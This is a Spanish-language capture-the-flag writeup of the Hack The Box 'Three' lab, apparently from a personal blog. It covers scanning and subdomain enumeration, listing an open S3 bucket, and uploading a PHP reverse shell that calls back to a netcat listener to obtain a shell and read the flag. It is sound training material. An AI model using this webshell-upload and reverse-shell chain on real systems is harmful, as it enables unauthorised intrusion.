Inicio Hack The Box - Starting Point - Tier 1 - Three Writeup
Entrada
Cancelar

Hack The Box - Starting Point - Tier 1 - Three Writeup

Este post forma parte de la serie Tier 1 del Starting Point de HTB que iniciamos aquí.

Three

El primer paso será iniciar la máquina (para lo que previamente tendremos que tener establecida nuestra conexión VPN)

Copiamos la IP del equipo remoto, en mi caso 10.129.71.219, y lanzamos un nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ nmap -A 10.129.71.219 -oN nmap_output
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-10 20:39 CEST
Nmap scan report for 10.129.71.219
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Toppers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.04 seconds

Significado de las flags:

  • -A : escaneo completo (aka agresivo) que ejecuta OS detection, version detection, script scanning y traceroute todo del tirón.
  • -oN : imprime la salida en un fichero de texto con el nombre nmap_output

Echamos un ojo a la salida y vemos que tenemos dos puertos abiertos:

  • 22/tcp con un servicio ssh escuchando.
  • 80/tcp con un servicio http soportado por un Apache httpd 2.4.29.

Abrimos un navegador y cargamos la IP.

Trasteamos un poco con el sitio web y apuntamos la dirección de Email que aparece en la sección de Contacto: mail@thetoppers.htb

Añadimos la siguiente entrada al fichero etc/hosts  de nuestro equipo para facilitarnos la faena.

1
10.129.71.219	thetoppers.htb

La siguiente tarea del box nos pregunta por subdominios. Toca buscarlos. Para ello localizamos un diccionario apropiado en nuestro equipo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ locate subdomains
/usr/lib/python3/dist-packages/censys/asm/assets/subdomains.py
/usr/lib/python3/dist-packages/censys/asm/assets/__pycache__/subdomains.cpython-310.pyc
/usr/share/dnsrecon/subdomains-top1mil-20000.txt
/usr/share/dnsrecon/subdomains-top1mil-5000.txt
/usr/share/dnsrecon/subdomains-top1mil.txt
/usr/share/metasploit-framework/data/wordlists/lync_subdomains.txt
/usr/share/metasploit-framework/modules/auxiliary/gather/searchengine_subdomains_collector.rb
/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
/usr/share/seclists/Discovery/DNS/combined_subdomains.txt
/usr/share/seclists/Discovery/DNS/italian-subdomains.txt
/usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Para escanear subdominios utilizamos el modo vhost de gobuster con /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt como diccionario.

VHOST mode: Este modo no debe confundirse con el modo DNS. En el modo DNS la herramienta intenta resolver por DNS los subdominios y en base a eso se nos da el resultado. En el modo vhosts la herramienta comprueba si el subdominio existe visitando la url formada y verificando la dirección IP. (fuente)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ gobuster vhost -u http://thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://thetoppers.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/08/10 21:45:40 Starting gobuster in VHOST enumeration mode
===============================================================
Found: s3.thetoppers.htb (Status: 404) [Size: 21]
Found: gc._msdcs.thetoppers.htb (Status: 400) [Size: 306]

===============================================================
2022/08/10 21:46:13 Finished
===============================================================

Añadimos el subdominio s3.thetoppers.htb al etc/hosts .

1
10.129.71.219	thetoppers.htb s3.thetoppers.htb

Probamos a cargarlo en el navegador. Poca cosa.

El nombre del subdominio apunta a uno de los servicios más conocidos de AWS S3. Lo que tenemos aquí es, concretamente, un bucket de S3.

Toca enumerar directorios del bucket a ver qué encontramos. Buscamos diccionario para ello.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ locate directory-list
/usr/share/dirbuster/wordlists/directory-list-1.0.txt
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
/usr/share/whatweb/plugins/simple-directory-listing.rb

Utilizamos feroxbuster con /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt como diccionario.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ feroxbuster -u http://s3.thetoppers.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e -t 100 -o feroxbuster_output

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://s3.thetoppers.htb/
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ feroxbuster_output
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        1l       72w      887c http://s3.thetoppers.htb/health
200      GET        0l        0w        0c http://s3.thetoppers.htb/shell
405      GET        4l       23w      178c http://s3.thetoppers.htb/graph
500      GET        1l        1w        2c http://s3.thetoppers.htb/shellcode
500      GET        1l        1w        2c http://s3.thetoppers.htb/shells
500      GET        1l        1w        2c http://s3.thetoppers.htb/shellscripts
500      GET        1l        1w        2c http://s3.thetoppers.htb/shellen
500      GET        1l        1w        2c http://s3.thetoppers.htb/shellcity
500      GET        1l        1w        2c http://s3.thetoppers.htb/shell_screenshot
500      GET        1l        1w        2c http://s3.thetoppers.htb/shell01
500      GET        1l        1w        2c http://s3.thetoppers.htb/shell02
500      GET        1l        1w        2c http://s3.thetoppers.htb/shelley
500      GET        1l        1w        2c http://s3.thetoppers.htb/shell-scripts
[####################] - 28m    87650/87650   0s      found:13      errors:0
[####################] - 28m    87650/87650   51/s    http://s3.thetoppers.htb/

Significado de las flags:

  • -u : la URL que queremos escanear.
  • -w : la ubicación de nuestro fichero de wordlist.
  • -e : le pedimos que extraiga enlaces del cuerpo de la respuesta y realice nuevas peticiones en función de los resultados.
  • -t : nro de hilos concurrentes.
  • -o : nombre del fichero donde almacenaremos la salida.

Probamos la URL http://s3.thetoppers.htb/health desde el navegador.

OK, nada interesante. Vamos a interactuar con este bucket s3 desde nuestra consola. Para ello abrimos el cliente de aws. Si no lo tenéis instalado: sudo apt install awscli

Ejecutamos aws para intentar listar los recursos que pueda haber en http://s3.thetoppers.htb

1
2
3
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws s3 ls s3://thetoppers.htb
Unable to locate credentials. You can configure credentials by running "aws configure".

El cliente de aws nos dice que no se puede conectar porque no tenemos las credenciales necesarias configuradas en nuestro equipo. Nos sugiere que ejecutemos aws configure.

1
2
3
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws configure
AWS Access Key ID [None]:

Pequeño inconveniente: no disponemos del AWS Access Key ID :(

Lo dejamos vacío y hacemos lo mismo con el resto de parámetros de configuracion que nos solicita el cli dando al Enter directamente. Volvemos a probar listar el bucket.

1
2
3
4
5
6
7
8
9
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws configure
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]:
Default output format [None]:
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws s3 ls s3://thetoppers.htb
Unable to locate credentials. You can configure credentials by running "aws configure".

OK, por lo visto no hay forma de listar el bucket sin disponer de las credenciales correspondientes.

Trasteamos desde el navegador por lo directorios que nos ha volcado feroxbuster a ver si encontramos algo.

Nada.

Volvemos a leer con más optimismo el mensaje que nos ha devuelto el cli de aws tras haber dejado vacíos los parámetros de configuración. En principio no nos dice nada sobre que sean erróneos, simplemente refiere Unable to locate credentials. Probamos a meter cualquier cosa a ver que pasa.

1
2
3
4
5
6
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws configure
AWS Access Key ID [None]: qwe
AWS Secret Access Key [None]: qwe
Default region name [None]: qwe
Default output format [None]: qwe
1
2
3
4
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws s3 ls s3://thetoppers.htb

Could not connect to the endpoint URL: "https://s3.a.amazonaws.com/thetoppers.htb?list-type=2&prefix=&delimiter=%2F&encoding-type=url"

OK, no hemos conseguido listar nada, pero al menos ha cambiado el mensaje de error. Probamos a pasarle al cli la URL de nuestro endpoint.

1
2
3
4
5
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb
                           PRE images/
2022-08-10 21:09:54          0 .htaccess
2022-08-10 21:09:54      11952 index.php

Mejor. Una vez que hemos conseguido listarlo toca ver qué otras cosas podemos hacer con el bucket. Miramos aquí y damos con esto.

Especial atención a:

1
aws s3 cp/mv test-file.txt s3://bucket-name

Según ésto, podríamos copiar (aka subir) un fichero desde nuestro equipo al bucket. Interesante. Probamos con algo inofensivo para empezar.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ touch a.txt

┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ echo "Hola que tal" > a.txt

┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ cat a.txt
Hola que tal

┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws s3 --endpoint=http://s3.thetoppers.htb cp a.txt s3://thetoppers.htb
upload: ./a.txt to s3://thetoppers.htb/a.txt

Probamos desde el browser a cargar la URL http://thetoppers.htb/a.txt

Funciona. Vamos a por algo más interesante que un txt, una shell reversa por ejemplo.

1
2
3
4
5
6
7
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ locate php-reverse-shell
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php

┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

La editamos con los datos correctos.

1
2
3
4
[...]
$ip = '10.10.xx.xx';  // CHANGE THIS    <- nuestra IP local
$port = 4321;       // CHANGE THIS      <- el puerto en el que estaremos escuchando
[...]

La subimos al bucket

1
2
3
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ aws s3 --endpoint=http://s3.thetoppers.htb cp php-reverse-shell.php s3://thetoppers.htb
upload: ./php-reverse-shell.php to s3://thetoppers.htb/php-reverse-shell.php

Abrimos una pestaña nueva en nuestro terminal e iniciamos netcat poniéndolo a escuchar en el puerto que hemos configurado en el fichero de la shell.

1
2
3
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ nc -lvnp 4321
listening on [any] 4321 ...

Significado de las flags:

  • -l : listen mode.
  • -v : verbose.
  • -n : solo IP numéricas, no DNS.
  • -p : nro de puerto local.

Cargamos en el browser http://thetoppers.htb/php-reverse-shell.php  y volvemos al netcat

1
2
3
4
5
6
7
8
9
10
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier1]
└─$ nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.129.71.219] 42754
Linux three 4.15.0-189-generic #200-Ubuntu SMP Wed Jun 22 19:53:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 21:46:40 up  3:08,  0 users,  load average: 1.01, 1.76, 1.78
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Bien. Toca trastear.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
[...]
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ ls -la
total 92
drwxr-xr-x  22 root root  4096 Jul 19 12:19 .
drwxr-xr-x  22 root root  4096 Jul 19 12:19 ..
drwxr-xr-x   2 root root  4096 Jul 19 12:19 bin
drwxr-xr-x   4 root root  4096 Jul 19 12:08 boot
drwxr-xr-x  19 root root  3880 Aug 10 18:37 dev
drwxr-xr-x 107 root root  4096 Aug  1 14:48 etc
drwxr-xr-x   3 root root  4096 Jul 19 12:19 home
lrwxrwxrwx   1 root root    34 Jul 19 12:05 initrd.img -> boot/initrd.img-4.15.0-189-generic
lrwxrwxrwx   1 root root    34 Jul 19 12:08 initrd.img.old -> boot/initrd.img-4.15.0-189-generic
drwxr-xr-x  22 root root  4096 Jul 19 11:59 lib
drwxr-xr-x   2 root root  4096 Jul 19 12:19 lib64
drwx------   2 root root 16384 Apr 12 18:39 lost+found
drwxr-xr-x   2 root root  4096 Jul 19 12:19 media
drwxr-xr-x   2 root root  4096 Jul 19 12:19 mnt
drwxrwxrwx   4 root root  4096 Apr 12 20:19 opt
dr-xr-xr-x 131 root root     0 Aug 10 18:37 proc
drwx------   8 root root  4096 Aug  1 14:49 root
drwxr-xr-x  30 root root   980 Aug 10 18:38 run
drwxr-xr-x   2 root root 12288 Jul 19 12:00 sbin
drwxr-xr-x   2 root root  4096 Aug  6  2020 srv
dr-xr-xr-x  13 root root     0 Aug 10 18:37 sys
drwxrwxrwt   2 root root  4096 Aug 10 18:37 tmp
drwxr-xr-x  10 root root  4096 Aug  6  2020 usr
drwxr-xr-x  13 root root  4096 Jul 19 11:57 var
lrwxrwxrwx   1 root root    31 Jul 19 12:05 vmlinuz -> boot/vmlinuz-4.15.0-189-generic
lrwxrwxrwx   1 root root    31 Jul 19 12:08 vmlinuz.old -> boot/vmlinuz-4.15.0-189-generic
$ cd var
$ ls
backups
cache
crash
lib
local
lock
log
mail
opt
run
spool
tmp
www
$ cd www
$ ls
flag.txt
html
$ cat flag.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
$

Box resuelto.

Espero que os haya resultado útil.

Sed buenos de no haber opción mejor.

Respuestas:

  • Task 1: 2
  • Task 2: thetoppers.htb
  • Task 3: /etc/hosts
  • Task 4: s3.thetoppers.htb
  • Task 5: Amazon S3
  • Task 6: awscli
  • Task 7: aws configure
  • Task 8: aws s3 ls
  • Task 9: php
Esta entrada está licenciada bajo CC BY 4.0 por el autor.